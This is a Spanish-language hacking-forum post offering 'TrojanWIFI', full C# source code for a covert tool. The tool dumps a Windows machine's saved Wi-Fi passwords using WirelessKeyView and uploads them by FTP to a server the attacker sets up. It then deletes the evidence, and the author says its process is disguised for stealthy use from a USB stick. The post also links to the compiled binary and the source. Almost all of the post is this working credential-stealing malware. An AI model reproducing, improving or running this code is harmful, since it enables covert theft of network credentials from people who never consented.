elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 7 8 9 [10]
91  Programación / .NET (C#, VB.NET, ASP) / [C#]TrojanWIFI - Claves de wifi al descubierto (Actualizado 07/04/12) en: 6 Abril 2012, 09:01 am
Actualizacion 07/04/12
Actualizo el código del programa, gracias a la recomendación de Kub0x he eliminado la necesidad del program.bat cambiando las siguientes lineas del código:
Código:
            System.Diagnostics.ProcessStartInfo info = new System.Diagnostics.ProcessStartInfo("CMD.EXE", @"/C hackingwifi\program.bat");
            info.Verb = "open";
            System.Diagnostics.Process.Start(info);
por:
Código:
            Process myProcess = new Process();
            myProcess.StartInfo.FileName = @"hackingwifi\WirelessKeyView.exe";
            myProcess.StartInfo.Arguments = @"/shtml config.cfg";
            myProcess.StartInfo.CreateNoWindow = true;
            myProcess.Start();

____________________________________
Antes que nada, mucho gusto, he estado aprediendo algo de programacion en C# desde hace unos meses y el dia de hoy he creado un pequeño programa el cual les explicaré:
Obtiene las contraseñas almacenadas de wifi de una máquina y las sube mediante FTP a algun servidor previamente especificado, todo bajo el segundo plano aunque mi idea es compartir el conocimiento que he adquirido me encantaria que aquellos quienes son mejores en esto me aconsejen para mejorar mis codigos en C#, a continuación explico paso por paso el funcionamiento:

- El programa inicia leyendo un archivo .xml en el cual está almacenada la información del FTP.
- Ejecuta un .bat que a su vez ejecuta wirelesskeyview mediante CMD y exporta los datos a un .cfg
- El programa duerme unos 40s (Previendo que una máquina esté saturada o sea lenta)
- Inicia la subida del nuevo archivo medidante FTP al servidor especificado con el siguiente nombre de archivo: "nombredelamaquina"-wifi.html
- El programa elimina ese .cfg y se finalmente se cierra.

Como se puede apreciar es ideal para ejecutarlo desde un pendrive y el programa está algo oculto, el proceso se esconde con el de Windows Live Messenger.

Espero sea de su agrado y que porfavor opinen y den sugerencias sobre el código del programa

aqui dejo el código y mas abajo la solucion del proyecto más el compilado:
TrojanWifi:
Código:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Net;
using System.Diagnostics;
using System.Xml;

namespace TrojanWifi
{
    public partial class Form2 : Form
    {

        string direccion;
        string usuario;
        string clave;
        public Form2()
        {
            InitializeComponent();
            
        }
        private void leexml()
        {
            XmlDocument xDoc = new XmlDocument();
            //La ruta del documento XML permite rutas relativas
            //respecto del ejecutable!
            xDoc.Load("config.xml");
            XmlNodeList config = xDoc.GetElementsByTagName("configuracion");
            XmlNodeList lista = ((XmlElement)config[0]).GetElementsByTagName("servidor");
            foreach (XmlElement nodo in lista)
            {
                int i = 0;
                XmlNodeList ftp = nodo.GetElementsByTagName("ftp");
                XmlNodeList user = nodo.GetElementsByTagName("user");
                XmlNodeList pass = nodo.GetElementsByTagName("pass");
                direccion = ftp[i].InnerText;
                usuario = user[i].InnerText;
                clave = pass[i].InnerText;
            }
        }

        private void Form2_Load(object sender, EventArgs e)
        {
            leexml();
            System.Diagnostics.ProcessStartInfo info = new System.Diagnostics.ProcessStartInfo("CMD.EXE", @"/C hackingwifi\program.bat");
            info.Verb = "open";
            System.Diagnostics.Process.Start(info);
            System.Threading.Thread.Sleep(40000);            
            DirectoryUP();
            borrarrastro();
            Application.Exit();

        }


        private void DirectoryUP()
        {
            
                // Get the object used to communicate with the server.
                FtpWebRequest request = (FtpWebRequest)WebRequest.Create(direccion+Environment.MachineName+ "-wifi.html");
                request.Method = WebRequestMethods.Ftp.UploadFile;

                // This example assumes the FTP site uses anonymous logon.
                request.Credentials = new NetworkCredential(usuario, clave);

                // Copy the contents of the file to the request stream.
                StreamReader sourceStream = new StreamReader("config.cfg");
                byte[] fileContents = Encoding.UTF8.GetBytes(sourceStream.ReadToEnd());
                sourceStream.Close();
                request.ContentLength = fileContents.Length;

                Stream requestStream = request.GetRequestStream();
                requestStream.Write(fileContents, 0, fileContents.Length);
                requestStream.Close();

                FtpWebResponse response = (FtpWebResponse)request.GetResponse();
                //MessageBox.Show(response.StatusDescription, response.StatusDescription, MessageBoxButtons.OK);
                response.Close();

            }
        private static void borrarrastro()
        {
            // Delete a file by using File class static method...
            if (System.IO.File.Exists(@"config.cfg"))
            {
                try
                {
                    System.IO.File.Delete(@"config.cfg");
                }
                catch (System.IO.IOException)
                {
                    Application.Exit();
                }
            }
        }
      
    }
}

Configurador de TrojanWifi:

Código:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Xml;
using System.IO;

namespace WindowsFormsApplication1
{

    public partial class Form1 : Form
    {
        string ftp;
        string user;
        string pass;
        string direccion;
        string usuarioo;
        string clavee;
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            if (System.IO.File.Exists(@"config.xml"))
            {
                leexml();
            }
            server.Text = direccion;
            usuario.Text = usuarioo;
            clave.Text = clavee;
        }

       private void leexml()
        {
            XmlDocument xDoc = new XmlDocument();
            //La ruta del documento XML permite rutas relativas
            //respecto del ejecutable!
            xDoc.Load("config.xml");
            XmlNodeList config = xDoc.GetElementsByTagName("configuracion");
            XmlNodeList lista = ((XmlElement)config[0]).GetElementsByTagName("servidor");
            foreach (XmlElement nodo in lista)
            {
                int i = 0;
                XmlNodeList ftp = nodo.GetElementsByTagName("ftp");
                XmlNodeList user = nodo.GetElementsByTagName("user");
                XmlNodeList pass = nodo.GetElementsByTagName("pass");
                direccion = ftp[i].InnerText;
                usuarioo = user[i].InnerText;
                clavee = pass[i].InnerText;
                
            }
        }
        private void escribe(string fftp, string uuser, string ppass)
        {
            try
            {

                //Pass the filepath and filename to the StreamWriter Constructor
                StreamWriter sw = new StreamWriter("config.xml");

                //Write a line of text
                sw.WriteLine("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");
                sw.WriteLine("<configuracion>");
                sw.WriteLine("<servidor>");
                sw.WriteLine("<ftp>" + fftp + "</ftp>");
                sw.WriteLine("<user>" + uuser + "</user>");
                sw.WriteLine("<pass>" + ppass + "</pass>");
                sw.WriteLine("</servidor>");
                sw.WriteLine("</configuracion>");

                //Close the file
                sw.Close();
            }
            catch (Exception e)
            {
                Console.WriteLine("Exception: " + e.Message);
            }
            finally
            {
                Console.WriteLine("Executing finally block.");
            }
        }

        private void button1_Click(object sender, EventArgs e)
        {
            ftp = server.Text;
            user = usuario.Text;
            pass = clave.Text;
            escribe(ftp, user, pass);
            MessageBox.Show("ok", "ok", MessageBoxButtons.OK);
        }

        private void button2_Click(object sender, EventArgs e)
        {
            
            MessageBox.Show("ok", "ok", MessageBoxButtons.OK);
        }

        private void sobreElProgramaToolStripMenuItem_Click(object sender, EventArgs e)
        {
            MessageBox.Show("Programa creado por MeTaD" + Environment.NewLine + Environment.NewLine + "Contacto: metad3339@gmail.com", "Sobre el programa...", MessageBoxButtons.OK);
        }
    }
}

Descargas:
TrojanWIFI: http://www.mediafire.com/?5qpg7dungnh9g1h
TrojanWIFI + Source: http://www.mediafire.com/?ylb3r439j7y170t

NOTA:
Pido disculpas si esta no es la sección correspondiente, realmente no sabia exactamente donde publicarlo, discupen.
Páginas: 1 2 3 4 5 6 7 8 9 [10]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines